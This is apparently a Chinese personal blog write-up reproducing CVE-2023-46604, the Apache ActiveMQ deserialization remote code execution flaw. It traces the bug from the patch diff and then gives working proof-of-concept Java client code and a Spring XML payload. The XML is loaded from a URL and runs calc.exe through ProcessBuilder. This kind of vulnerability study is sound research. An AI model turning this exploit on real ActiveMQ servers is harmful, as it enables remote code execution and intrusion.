ActiveMQ (CVE-2023-46604) 那就先复现一下这个漏洞
漏洞描述
Apache ActiveMQ中存在远程代码执行漏洞,具有Apache ActiveMQ服务器TCP端口(默认为61616)访问权限的远程攻击者可以通过发送恶意数据到服务器从而执行任意代码。
影响版本:
Apache ActiveMQ < 5.18.3
Apache ActiveMQ < 5.17.6
Apache ActiveMQ < 5.16.7
Apache ActiveMQ < 5.15.16
学到了github比对版本差异的一个小方法
在github url地址后面加一个,/compare进行比较
base是之前的版本,compare是之后的
下面是实现的效果,感觉在通过漏洞修复去复现漏洞的时候蛮有用的
这里发现了这样的一个改变,限制了必须是Throwable的子类
以前也见过这样的漏洞就是为了防治实例化任意的类对象,看下面的代码,绿色的是新版本添加的,如果没有validateIsThrowable
不就有任意实例化String有参构造方法了嘛?
(正好前几篇的postgrasql也是这样子造成的漏洞,进一步触发EL、然后fileoutput情况指定文件这种)
所以我们可以确定,污点就是BaseDataStreamMarshaller.java
这个类,(刚回去看了看postgresql那个CVE,真的是一模一样连漏洞出发点,修复方案都一样)
org.springframework.context.support.ClassPathXmlApplicationContext
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:p="http://www.springframework.org/schema/p"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<!-- 普通方式创建类-->
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>calc.exe</value>
</list>
</constructor-arg>
</bean>
</beans>
直接实例化触发校验一下(。。。真的不会搞环境,搞了1个小时,最后直接导了个jar包)
发现BaseDataStreamMarshaller是一个抽象类
,找他的子类,这里找的是ExceptionResponseMarshaller
createThrowable
是一个私有的方法
到这里我自己想的就是,逐层调用,直到一个我们能控制的页面,比如jsp、或者反序列化,传参点这种
继续网上找发现仍然不是public权限,是一个包权限
接着就是我们上面的那个类的方法,ExceptionResponseMarshaller#tightUnmarshal
,这样就成了public都是可以调用的,到这里已经可以手动触发漏洞,但是还差一点
到这里卡住了,调用tightUnmarshal
的方法实在太多了不知道用哪一个。。。(如果一个个实验的话感觉不太对)
看了看师傅们写的文章大体看懂了先总结一下(明天在详细分析)
doUnmarshal 就相当于一个反序列化
这个 dataType 其实对应的就是 Message 类内部的 DATA_STRUCTURE_TYPE
字段
但是默认的demo 中我们发送的是一个 ObjectMessage (ActiveMQObjectMessage) 对象, 它的 dataType 是 26
我的第一想法就是直接改成31不就行了嘛(这里还没懂,下面是佬们的想法)
我一开始的思路是去修改 ObjectMessage 的 DATA_STRUCTURE_TYPE 字段, 把它改成 31 然后发送
后来想了一会发现不能这么搞, 因为对于不同的 Message 类型, 序列化器会单独进行处理, 比如调用 writeXXX 和 readXXX 的类型和次数都不一样
然后目光放到了传参这里,dataType是从dis中获得的,那么控制dis不就可以控制dataType了嘛~~~
就是在这里
上面是反序列化我们直接看序列化的流程即可
看marshal的上层调用方法,是 TcpTransport#oneway
这里是原本的内容
// public void oneway(Object command) throws IOException {
// this.checkStarted();
// this.wireFormat.marshal(command, this.dataOut);
// this.dataOut.flush();
// }
这里是重写的内容
public void oneway(Object command) throws IOException {
this.checkStarted();
Throwable obj = new ClassPathXmlApplicationContext("http://127.0.0.1:8000/poc.xml");
ExceptionResponse response = new ExceptionResponse(obj);
this.wireFormat.marshal(response, this.dataOut);
this.dataOut.flush();
}
可以发现我们直接重写了方法,ExceptionResponse的参数需要是Throwable类型,Throwable obj = new ClassPathXmlApplicationContext
这里也重写了ClassPathXmlApplicationContext这个类,让它继承否则不能强转,能执行上面的操作
其实都是因为,序列化的时候可以修改并且反序列化并不会被影响
(jackson就重写了某个类的方法不然不能序列化,但我觉得仅仅是序列化赋值,因为反序列化的代码我们是不能改动的,只是把值放进去了)
脑子的错误思考
既然可以修改序列化,那直接重写方法直接弹shell???
确实是可以赋值,但具体的操作还是得看反序列化~~~
package org.springframework.context.support;
public class ClassPathXmlApplicationContext extends Throwable{
private String message;
public ClassPathXmlApplicationContext(String message) {
this.message = message;
}
@Override
public String getMessage() {
return message;
}
}
然后是从网上找一个使用案例即可
import org.apache.activemq.ActiveMQConnectionFactory;
import org.apache.activemq.command.ActiveMQObjectMessage;
import org.apache.activemq.command.ExceptionResponse;
import org.apache.activemq.openwire.OpenWireFormat;
import org.apache.activemq.openwire.v1.BaseDataStreamMarshaller;
import org.apache.activemq.openwire.v1.ExceptionResponseMarshaller;
import javax.jms.*;
public class poc {
public static void main(String[] args) throws JMSException {
ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://localhost:61616");
Connection connection = connectionFactory.createConnection();
connection.start();
Session session = connection.createSession(true,1);
Destination destination = session.createQueue("tempQueue");
MessageProducer producer = session.createProducer(destination);
Message message = session.createObjectMessage("123");
producer.send(message);
connection.close();
}
}
序列化链子,记得开启服务端,因为漏洞就是客户端远程命令执行服务端,没服务端😂😂😂
因为我的服务端搭建在了本地,所以本地弹出了计算器
poc.xml
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:p="http://www.springframework.org/schema/p"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<!-- 普通方式创建类-->
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>calc.exe</value>
</list>
</constructor-arg>
</bean>
</beans>
还有一种直接传入的方法,只需重写ClassPathXmlApplicationContext
即可
ConnectionFactory connectionFactory = new
ActiveMQConnectionFactory("tcp://localhost:61616");
Connection connection = connectionFactory.createConnection();
connection.start();
ActiveMQSession session = (ActiveMQSession) connection.createSession(false,Session.AUTO_ACKNOWLEDGE);
ExceptionResponse exceptionResponse = new ExceptionResponse();
exceptionResponse.setException(new ClassPathXmlApplicationContext("http://127.0.0.1:8000/poc.xml"));
session.syncSendPacket(exceptionResponse);
connection.close();
从syncSendPacket逐层调用,最终到达request方法中, asyncRequest是序列化,然后再getResult服务端又进行反序列
总结:
通过修复地方就可以看到漏洞原因,任意类的有参实例化,导致触发了漏洞
org.springframework.context.support;ClassPathXmlApplicationContext 又因为项目中有springboot依赖,导致触发加载远程xml
2024.8.8
呃呃呃现在还记得,当时搞这个mq漏洞的时候,是期末在图书馆搞的,旁边偶遇dk1、2班的人 当时可能在学呃呃呃忘了,反正记忆听深刻的,没想到在议题上又看到了这个漏洞的不出网利用,这次在LAB hvv实习中,感慨万分呀。嗨老了
本作品采用CC BY-NC-ND 4.0进行许可。转载,请注明原作者 Azeril 及本文源链接。